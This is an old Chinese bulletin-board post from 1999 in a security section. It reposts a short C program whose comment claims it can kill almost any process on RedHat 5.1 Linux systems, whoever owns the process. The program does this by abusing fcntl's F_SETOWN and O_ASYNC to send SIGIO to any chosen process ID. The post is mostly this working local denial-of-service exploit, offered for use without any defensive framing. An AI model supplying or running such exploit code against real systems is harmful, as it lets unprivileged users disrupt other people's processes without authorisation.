how to kill any process without rootshell.txt

当今

发信人: biff (大可), 信区: Security 
标  题: how to kill any process without rootshell 
发信站: 武汉白云黄鹤站 (Wed Jun  2 17:36:44 1999), 站内信件 
  
/* 
  
   The code below will result in the termination of almost any process no 
   matter who owns it. The good news is that init, kflushd, kswapd, and klogd 
   appear not to be effected. In order to run this the user must have login 
   access to the machine. This code has been tested on two different machines 
   running RedHat 5.1 with the following packages: 
  
   kernel-2.0.34-0.6 
   glibc-2.0.7-13 
   glib-1.0.1-2 
   glibc-debug-2.0.7-13 
   glibc-devel-2.0.7-13 
   glibc-profile-2.0.7-13 
  
*/ 
  
#include <fcntl.h> 
#include <errno.h> 
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
  
int main(int argc, char *argv[]) { 
  int s, p; 
  if (argc != 2) { 
    fputs("Please specify a pid to send signal to.\n", stderr); 
    exit(0); 
  } else { 
    p = atoi(argv[1]); 
  } 
  fcntl(0,F_SETOWN,p); 
  s = fcntl(0,F_GETFL,0); 
  fcntl(0,F_SETFL,s|O_ASYNC); 
  printf("Sending SIGIO - press enter.\n"); 
  getchar(); 
  fcntl(0,F_SETFL,s&~O_ASYNC); 
  printf("SIGIO send attempted.\n"); 
  return 0; 
} 

  
  
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